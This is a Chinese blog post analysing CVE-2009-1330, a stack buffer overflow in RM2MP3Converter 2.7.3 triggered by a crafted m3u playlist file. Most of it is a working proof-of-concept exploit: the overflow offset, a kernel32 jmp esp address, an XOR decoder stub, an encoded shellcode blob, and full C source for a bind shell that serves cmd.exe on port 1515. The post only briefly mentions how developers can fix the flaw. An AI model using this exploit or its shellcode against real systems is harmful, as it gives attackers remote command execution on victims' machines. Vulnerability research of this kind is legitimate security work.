【RM2MP3Converter】CVE-2009-1330 漏洞分析

版权声明:本文为博主原创文章,转载请注明出处。 https://blog.csdn.net/D_K_01/article/details/80808063

0x00 软件简介

RM2MP3Converter是由Mini-streamSoftware公司推出的一款共享软件,主要用于将RM格式的音频转换为MP3格式。

0x01 漏洞成因

RM2MP3Converter 2.7.3版本中,读取m3u文件,存在缓冲区溢出漏洞。

M3U文件是一种纯文本文件,可以指定一个或多个多媒体文件的位置,其文件扩展名是“M3U”或者“m3u”

未对缓冲区长度进行限定;
应读取0x400字节,实际读取超过此长度;

buffer

buffer2

read
实际读取0xB664字节;

call
调用此函数时,返回地址被淹没;
retn
shellcode
返回时可执行shellcode

0x02 溢出测试

Test
偏移值65cd
offset

构造Demo,MessageBox测试
MessageBox

0x03 利用过程

在溢出点处设置跳板地址;
然后后执行ShellCode

010Editor
拖入文件后文件无反应,实际在等待远端连接
atack
可远端连接执行CMD命令
CMD

0x04 Poc

溢出点文件偏移:0x88DD
Kenel32.dll跳板:7736F7F7 jmp esp

//解密ShellCode代码
char bDecode[] = { 
    0x33,0xC0,              // xor eax,eax
    0xE8,0xFF,0xFF,0xFF,0xFF,   // call 0xFFFFFFFF
    0xC3,                   // retn
    0x58,                    // pop eax            ;eax=GetPc
    0x8D,0x70,0x1B,         // lea esi,[eax+0x1B] ;esi=Shellcode
    0x33,0xC9,              // xor ecx,ecx        ;ecx=循环计数器
    0x66,0xB9,0x96,0x02,        // mov cx,0x0136      ;cx =She..体积
    //tag_Decode:
    0x8A,0x04,0x0E,         // mov al,[esi+ecx]   ;al =解密前字节
    0x34,0x1F,              // xor al,0x07        ;0x07为Key,
    0x88,0x04,0x0E ,            // mov [esi+ecx],al
    0xE2,0xF6,              // loop tag_Decode
    0x80,0x34,0x0E,0x1F ,       // xor [esi+ecx],0x07 ;解密最后一字节
    0xFF,0xE6};             // jmp esi            ;跳到Shellcode


//去除截断字符的ShellCode(不含0x00,0x0A,0X0D)
char bShellCode[] =
"\x4A\x94\xF3\x9C\xFB\xE7\x9E\xF3\x3B\x1D\x1F\x1F\xBE\x1B\x2F\x5F"\
"\x1F\x2C\xDB\x96\x9B\x3B\x3F\x1D\x1F\x1F\x4C\x2C\xC4\xD8\x9B\x3B"\
"\x0B\x1D\x1F\x1F\x74\x7A\x6D\x71\x49\x48\xD8\x9B\x3B\x3F\x1D\x1F"\
"\x1F\x7A\x73\x2C\x2D\xD8\x9B\x3B\x3B\x1D\x1F\x1F\x31\x7B\x73\x73"\
"\x97\x83\x3B\x37\x1D\x1F\x1F\xD8\x9B\x3B\x0F\x1D\x1F\x1F\x68\x6C"\
"\x2D\x40\xD8\x9B\x3B\x0B\x1D\x1F\x1F\x2C\x2D\x31\x7B\x79\xD8\x9B"\
"\x3B\x07\x1D\x1F\x1F\x73\x73\x97\x83\x3B\x05\x1D\x1F\x1F\xD8\x9B"\
"\x3B\x17\x1D\x1F\x1F\x7C\x72\x7B\x31\xD8\x9B\x3B\x13\x1D\x1F\x1F"\
"\x7A\x67\x7A\x1F\x96\x43\x3B\x13\x49\x7B\x94\x2A\x2F\x1F\x1F\x1F"\
"\x94\x69\x13\x94\x69\x03\x94\x29\x94\x69\x17\x96\x6B\x3B\x0F\x41"\
"\x94\x4B\x3B\x13\xA6\x98\x2D\xC7\xDF\xF7\x68\x1E\x1F\x1F\x4C\x94"\
"\xEF\x92\x9B\x3B\x3F\x1D\x1F\x1F\x4C\x4F\xE0\xC9\x75\x1F\x94\xC7"\
"\x92\x9B\x3B\x0B\x1D\x1F\x1F\x75\x1F\x4F\xE0\xC9\x94\xE7\xA6\x22"\
"\x75\xAB\x9F\x92\x5B\x3B\x67\x94\xC8\x4F\x77\x1D\x1D\x1F\x1F\xF7"\
"\x5E\x1E\x1F\x1F\xE0\xCF\x94\xC8\xA6\x32\x2D\x67\xC1\xF7\x2C\x1E"\
"\x1F\x1F\x2C\xD6\x4E\x4E\x4E\x75\x19\x75\x1E\x75\x1D\x46\x4E\xE0"\
"\xCF\x94\xC8\xA6\xEC\xB9\xA0\xC2\x94\xEF\xF7\x09\x1E\x1F\x1F\x9C"\
"\x7B\x3B\x73\x1F\x77\xF4\x1A\x1F\x1F\xE0\xCF\x75\x1D\x79\x96\x5B"\
"\x3B\x71\x94\xC8\x47\x79\x96\x5B\x3B\x77\xA6\x7B\x0F\xB8\xC2\x75"\
"\x0F\x92\x5B\x3B\x73\x4F\x49\xF7\xF6\x1F\x1F\x1F\xE0\xCF\x77\xE0"\
"\xE0\xE0\x60\x49\x94\xC8\xA6\x13\x80\xCC\x54\xF7\xCA\x1F\x1F\x1F"\
"\xE0\xCF\x94\xC8\xA6\xAE\x01\x88\x1E\xF7\xD8\x1F\x1F\x1F\x75\x1F"\
"\x75\x1F\x49\xE0\xCF\x75\x5B\x40\x94\xC8\x92\x53\x3B\x3F\x94\xEF"\
"\xF7\x66\x1F\x1F\x1F\x75\x0F\x45\x92\x53\x3B\x0F\xF7\x72\x1F\x1F"\
"\x1F\x2C\xDF\x96\x6B\x3B\x47\x79\x96\x5B\x3B\x4F\x94\xCC\x92\x5B"\
"\x3B\x0F\x96\x6B\x3B\x43\x4F\x92\x5B\x3B\x3B\x96\x6B\x3B\x7B\x4F"\
"\x2C\xE9\x96\x63\x3B\x37\x49\x49\x49\x75\x1E\x49\x49\x92\x9B\x3B"\
"\x37\x1D\x1F\x1F\xD8\x5B\x3B\x73\x1F\x1E\x1F\x1F\x4F\x49\xA6\xD6"\
"\xA3\xB9\x74\xF7\x42\x1F\x1F\x1F\xE0\xCF\x49\x94\xCC\xA6\x7C\x96"\
"\xCE\x50\xF7\x51\x1F\x1F\x1F\xE0\xCF\x94\x93\x3B\x33\x1D\x1F\x1F"\
"\x40\x41\x44\x2C\xD3\xF7\xAB\x1F\x1F\x1F\x94\xFA\x42\xDC\x4A\x94"\
"\xF3\x4E\x4E\x48\x96\x4A\xE7\x96\x52\xE3\x94\x62\xE3\x2C\xDF\x94"\
"\x52\xE7\xE3\xEC\xB5\x40\x94\xFA\x42\xDC\x49\x2C\xE9\xF4\x16\xDE"\
"\xD1\x18\x10\xA1\xDF\x1C\xEF\x5E\x95\x1E\x9B\xDF\x6A\xEE\x24\xC9"\
"\x41\x10\x8B\xDF\xDC\x4A\x94\xF3\x9C\xF3\x0B\x4C\x94\xC5\x96\x52"\
"\xE3\x49\x2C\xE9\x48\x94\x5C\x23\x94\xE1\x94\x5B\x07\x67\x1C\xDC"\
"\x94\x57\x03\x94\x4F\x3F\x1C\xD4\x96\x52\xF3\x1C\xCC\x94\x57\x3B"\
"\x94\x5F\x07\x1C\xD4\x96\x4A\xEB\x96\x52\xEF\x96\x5A\xE7\x9A\xDF"\
"\x6B\x34\x94\x13\xA5\x94\x4A\xE3\x1C\xD4\xF7\x84\xE0\xE0\xE0\x9B"\
"\xDF\x6A\x14\x94\x4A\xEB\x58\x24\x62\xE7\x6D\xF9\xF4\x10\x94\x5A"\
"\xEF\x94\x6A\xF3\x10\xA8\x1B\x67\x94\x2B\x99\x1C\xEC\x40\x94\xD9"\
"\x41\x44\x94\xFA\x42\xDC"


//ShellCode源码
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
//HASH值
#define HASH_LoadLibraryExA 0xC0D83287
#define HASH_ExitProcess    0x4FD18963
#define HASH_WSAStartup     0x80B46A3D
#define HASH_WSASocketA     0xDE78322D
#define HASH_htons          0xDDBFA6F3
#define HASH_bind           0xDDA71064
#define HASH_listen         0x4BD39F0C
#define HASH_accept         0x01971EB1
#define HASH_CreateProcessA 0x6BA6BCC9

//函数宏定义
//int GetFunAddrByHash(int nHashDigest);
#define DefineFuncPtr(name,base) decltype(name) *My_##name=(decltype(name) *)GetFunAddrByHash(HASH_##name,base)

//字符串清零
void MemZero(PBYTE lpBuff, int nSize)
{   __asm
    {   mov edi,lpBuff
        xor eax,eax
        mov ecx,nSize
        cld
        rep stosb
    }
}

//对比HASH
bool Hash_CmpString(char *strFunName, int nHash)
{
    unsigned int nDigest = 0;
    while (*strFunName)
    {
        nDigest = ((nDigest << 25) | (nDigest >> 7));//一个左移25;一个右移7
        nDigest += *strFunName;
        strFunName++;
    }
    return nHash == nDigest ? true : false;
}

//HASH对比获取函数地址
int GetFunAddrByHash(int nHash, HMODULE hModule)
{
    //1.获取DOS头,NT头
    PIMAGE_DOS_HEADER pDos_Header;
    PIMAGE_NT_HEADERS pNT_Header;
    pDos_Header = (PIMAGE_DOS_HEADER)hModule;
    pNT_Header = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);
    //获取导出表项
    PIMAGE_DATA_DIRECTORY pDataDir;
    PIMAGE_EXPORT_DIRECTORY pExport;
    pDataDir = pNT_Header->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
    pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + pDataDir->VirtualAddress);
    //获取导出表详细信息;两个PDWORD,一个PWORD
    PDWORD pAddOfFun = (PDWORD)(pExport->AddressOfFunctions + (DWORD)hModule);
    PDWORD pAddOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD)hModule);
    PWORD pAddOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD)hModule);
    //遍历ENT获取函数地址
    DWORD dwFunAddr = 0;
    for (DWORD i=0;i<pExport->NumberOfNames;i++)
    {
        PCHAR lpFunName = (PCHAR)(pAddOfNames[i] + (DWORD)hModule);
        if (Hash_CmpString(lpFunName, nHash))
        {
            dwFunAddr = pAddOfFun[pAddOfOrdinals[i]] + (DWORD)hModule;
            break;
        }       
    }
    return dwFunAddr;   
}

void EntryPoint()
{
    //局部字符串
    CHAR szKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    CHAR szWs2_32[] = { 'w','s','2','_','3','2','.','d','l','l','\0' };
    CHAR szCMD[] = { 'c','m','d','.','e','x','e','\0' };

    //获取关键模块基址
    HMODULE hKeyModule = 0;
    __asm
    {
        push esi
        mov esi,dword ptr fs:[0x30] //esi=peb
        mov esi,[esi+0x0c]          //esi=指向PEB_LDR_DATA指针
        mov esi,[esi+0x1c]          //esi=模块链表指针InInit...List
        mov esi,[esi]               //esi=访问链表第二个模块
        mov esi,[esi+0x08]
        mov hKeyModule,esi
        pop esi
    }

    //载入模块
    DefineFuncPtr(LoadLibraryExA, hKeyModule);
    HMODULE hKernel32 = My_LoadLibraryExA(szKernel32, 0, 0);
    HMODULE hWs2_32 = My_LoadLibraryExA(szWs2_32, 0, 0);

    //初始化Socket
    WSADATA stWSA;
    DefineFuncPtr(WSAStartup, hWs2_32);
    My_WSAStartup(0x0202, &stWSA);

    //创建套接字
    SOCKET stListen = INVALID_SOCKET;
    DefineFuncPtr(WSASocketA, hWs2_32);
    stListen = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    //任意地址绑定端口1515
    DefineFuncPtr(htons, hWs2_32);
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = INADDR_ANY;
    stService.sin_port = My_htons(1515);
    stService.sin_family = AF_INET;
    DefineFuncPtr(bind, hWs2_32);
    My_bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
    //监听连接
    DefineFuncPtr(listen, hWs2_32);
    My_listen(stListen, SOMAXCONN);

    //接收连接请求
    DefineFuncPtr(accept, hWs2_32);
    stListen = My_accept(stListen, 0, 0);

    //创建CMD进程,重定向输入输出到套接字
    PROCESS_INFORMATION stPI;
    STARTUPINFOA        stSI;
    MemZero((PBYTE)&stSI, sizeof(stSI));
    MemZero((PBYTE)&stPI, sizeof(stPI));
    stSI.cb = sizeof(stSI);
    stSI.wShowWindow = SW_HIDE;
    stSI.dwFlags = STARTF_USESTDHANDLES;
    stSI.hStdInput = (HANDLE)stListen;
    stSI.hStdOutput = (HANDLE)stListen;
    stSI.hStdError = (HANDLE)stListen;

    DefineFuncPtr(CreateProcessA, hKernel32);
    My_CreateProcessA(0, szCMD, 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);

    //关闭句柄,释放资源
    //closesocket(stListen);
    //WSACleanup();

    //结束当前进程
    DefineFuncPtr(ExitProcess, hKernel32);
    My_ExitProcess(0);
}

int main()
{
    EntryPoint();
    return 0;
}

0x05 总结

开发人员应对读取缓存作相应限制;
正确区分数据和代码的界限;

猜你喜欢

转载自blog.csdn.net/D_K_01/article/details/80808063